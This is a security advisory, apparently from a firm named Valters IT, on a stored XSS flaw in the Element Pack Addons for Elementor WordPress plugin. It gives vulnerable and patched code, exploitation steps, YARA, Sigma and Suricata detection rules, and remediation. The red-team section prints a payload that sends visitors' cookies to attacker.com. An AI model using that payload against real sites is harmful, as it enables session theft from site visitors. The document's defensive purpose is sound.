CVE-2025-13196

Executive Summary

CVE-2025-13196 is a Stored Cross-Site Scripting (XSS) vulnerability in the Element Pack Addons for Elementor WordPress plugin, affecting all versions up to and including 8.3.4. The flaw resides in the Open Street Map widget’s marker content parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user visits a page containing the malicious widget.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin extends Elementor, a popular page builder, and the vulnerable widget renders user-supplied attributes without proper escaping.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository or via automatic updates are at risk. No official patch has been released as of this report. Organizations should monitor the plugin’s changelog and apply updates immediately when available.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: Required (Victim must visit the injected page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access but can lead to persistent script injection affecting all site visitors.

Deep Dive & Mechanics

The vulnerability exists in the render function of the Open Street Map widget. The plugin fails to sanitize and escape the marker_content parameter before outputting it in the generated HTML. An attacker with contributor-level access can create or edit a post/page, add the Open Street Map widget, and inject malicious JavaScript into the marker content field.

When the page is rendered, the injected script executes in the context of the victim’s browser, allowing actions such as session hijacking, defacement, or redirection to malicious sites.

Root Cause: The plugin uses user-supplied attributes directly in the render function without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

public function render() {
    $settings = $this->get_settings_for_display();
    $marker_content = $settings['marker_content'];
    // Direct output without sanitization
    echo '<div class="marker-content">' . $marker_content . '</div>';
}

Patched Code (expected):

public function render() {
    $settings = $this->get_settings_for_display();
    $marker_content = $settings['marker_content'];
    // Properly escape output
    echo '<div class="marker-content">' . esc_html( $marker_content ) . '</div>';
}

The patched version uses esc_html() to neutralize any HTML or JavaScript before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Element Pack Addons <= 8.3.4
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Add the Open Street Map widget via Elementor.
4. In the marker content field, inject the following payload:

   <script>alert('XSS')</script>
   

5. Publish or save the post.
6. Any user visiting the post will see the alert box.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual marker content in Open Street Map widgets.
• Review logs for contributor-level users creating posts with suspicious HTML/JavaScript.

Prevention:

• Disable the Open Street Map widget until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in widget parameters.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/bdthemes-element-pack/modules/open-street-map/widgets/open-street-map.php
• Pattern: Presence of <script> tags or event handlers (e.g., onerror, onload) in the marker_content field of the Open Street Map widget.
• Network: Outbound requests to attacker-controlled domains from the WordPress site.
• Logs: Unusual POST requests to /wp-admin/admin-ajax.php with widget parameters containing JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_13196_Stored_XSS {
    meta:
        description = "Detects malicious marker content in Element Pack Open Street Map widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13196"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/is
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: CVE-2025-13196 - Stored XSS via Element Pack Open Street Map Widget
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in Element Pack Addons for Elementor
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=elementor_ajax&nonce=*&actions=*marker_content*'
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in widget content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13196 - Stored XSS via Element Pack Open Street Map Widget"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"marker_content"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Open Street Map widget in Element Pack settings until a patch is released.
2. Restrict contributor-level accounts to only trusted users.
3. Implement a WAF rule to block XSS payloads in POST parameters.

Long-Term Fix:

• Apply the official patch from Bdthemes when released (expected to sanitize marker_content with esc_html()).
• Update the plugin to the latest version as soon as it becomes available.

Workaround:

• Use a custom filter to sanitize the marker content before rendering:

  add_filter( 'element_pack_open_street_map_marker_content', 'esc_html' );
  

Valters IT
Securing Digital Frontiers